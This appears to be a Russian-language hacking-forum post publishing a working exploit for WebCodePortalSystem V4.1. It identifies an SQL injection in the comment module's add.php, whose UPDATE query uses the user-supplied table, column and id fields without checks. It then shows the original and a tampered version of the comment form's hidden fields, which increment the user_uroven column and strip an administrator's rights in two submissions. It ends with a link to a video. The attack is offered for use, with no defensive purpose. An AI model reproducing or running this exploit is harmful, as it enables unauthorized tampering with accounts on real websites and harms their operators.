WebCodePortalSystem V4.1 (новая версия) + ВИДЕО
!!! [Понижение прав админа] !!!
Очень интересная уязвимость позволяет понизить права пользователя. Но она самом деле sql инъекция.
В файле
mod/comment/ --> add.php <--
Есть запрос вида:
PHP код:
MYSQL_QUERY("update `".$wcpref."$tbl` SET $ncomment=$ncomment+1 where id='$per4'");
Очень классно если учесть, что параметры $tbl, $ncomment и $per4 мы можем менять...
Получаем возможность увеличить содержимое любой колонки на 1.
Самое нормальное где это можно применить - это в таблице с пользователями - увеличив значение поля
user_uroven на 1 тем самым изменив права пользователя (понизить права).
Права админа: user_uroven = 1
Права пользователя: user_uroven = 3
Значит нам нужно будет провести операцию два раза - но это не проблема.
---------Как делать--------------
Заходим в
"Новости", выбираем какую нидь новость (нажимаем
"Читать") ->
"Добавить комментарий".
Дальше лезем в исходник страницы (в Опере:
Вид -> Исходный текст).
Находим вот такую форму:
Код:
<form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">
<TR class=even><TD>Nik:</TD><TD><b>123123123</b></TD></TR>
<TR class=odd><TD>Ваш E-Mail:</TD><TD><b>123123@213.ru</b></TD></TR>
<TR class=even><TD colspan=2>Комментарий:</TD></TR>
<TR class=odd><TD colspan=2><textarea name="per1" cols="65" rows="8" style="width: 100%;"></textarea></TD></TR>
<TR class=even><TD colspan=2>HTML-теги Вырезаются!!!</TD></TR>
<TR class=odd><TD> </TD><TD>
<input type='hidden' name='per4' value="25">
<input type='hidden' name='per5' value="&fla=stat&cat_id=1&nums=25">
<input type='hidden' name='mod' value="news">
<input type='hidden' name='ncomment' value="comments">
<input type='hidden' name='tbl' value="news_stat">
<input type='submit' value="Добавить"></TD></TR>
</form>
И меняем её следующим образом:
Код:
<form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">
<TR class=even><TD>Nik:</TD><TD><b>123123123</b></TD></TR>
<TR class=odd><TD>Ваш E-Mail:</TD><TD><b>123123@213.ru</b></TD></TR>
<TR class=even><TD colspan=2>Комментарий:</TD></TR>
<TR class=odd><TD colspan=2><textarea name="per1" cols="65" rows="8" style="width: 100%;"></textarea></TD></TR>
<TR class=even><TD colspan=2>HTML-теги Вырезаются!!!</TD></TR>
<TR class=odd><TD> </TD><TD>
<input type='hidden' name='per4' value="2">
<input type='hidden' name='per5' value="&fla=stat&cat_id=1&nums=2">
<input type='hidden' name='mod' value="news">
<input type='hidden' name='ncomment' value="user_uroven">
<input type='hidden' name='tbl' value="user">
<input type='submit' value="Добавить"></TD></TR>
</form>
Сохраняем изменения и добавляем коммент (текст коммента не имеет значения - что угодно).
Получится что в таблице user (знать префикс не нужно, он приклеится сам) у пользователя с
id = 2 (в данном случае) в поле user_uroven значение увеличится на 1.
Как я уже сказал выше нужно что бы значение было равно 3, а не 2.
По этому проделываем операцию еще раз.
Все - пользователь больше не админ.
Видео:
http://rapidshare.com/files/79874554/heck3.rar.html